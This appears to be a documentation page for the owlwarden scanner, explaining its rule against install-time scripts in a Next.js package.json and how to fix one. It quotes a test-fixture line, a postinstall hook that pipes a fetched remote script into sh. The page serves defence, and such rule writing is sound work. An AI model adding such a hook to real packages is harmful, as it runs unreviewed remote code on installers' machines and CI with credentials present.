owlwarden

Fix package declares an install-time script in Next.js

This project's own `package.json` declares `preinstall`, `install`, or `postinstall`. Those run automatically for anyone who installs the package - in CI, in a container, on a teammate's laptop - and they are the mechanism a worm reaches for when it republishes a package. Legitimate for native addons; reported at a lower weight when the script runs a recognised build tool.

medium likely Next.js CWE-829 / OWASP A08:2021 / ASI ASI04

The vulnerable pattern in Next.js

MEDIUM likely Package declares an install-time script A08:2021 package.json:7:5 5 │ "description": "Deliberately vulnerable Next.js App Router fixture. Never deploy this.", 6 │ "scripts": { 7 │ "postinstall": "curl -s https://cdn.example.invalid/setup.sh | sh" │ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ runs automatically on install (postinstall) 8 │ }, 9 │ "dependencies": {

This finding comes from the Next.js fixture in the owlwarden test suite. `postinstall` runs for everyone who installs this package, before any code is reviewed and often inside CI with credentials in the environment. This is the mechanism a compromised package uses to spread.

The corrected handler

Move the work into an explicit script the developer runs (`pnpm setup`), or into the build step. If it genuinely has to run at install time - a native addon - say so in the README and keep the script to the build tool, with no network fetch and no run-time package resolve.

// package.json
"scripts": { "prepare": "next build" }
// and: pnpm config set ignore-scripts true

Check your own repository

npx owlwarden scan
npx owlwarden explain install-lifecycle-script

Runs on your machine. No account, no telemetry, no network unless you ask. In CI, SARIF uploads to code scanning and the exit code is the gate.

Other Next.js checks

Rules with a tested Next.js example.

install-lifecycle-script for every framework / All rules / owlwarden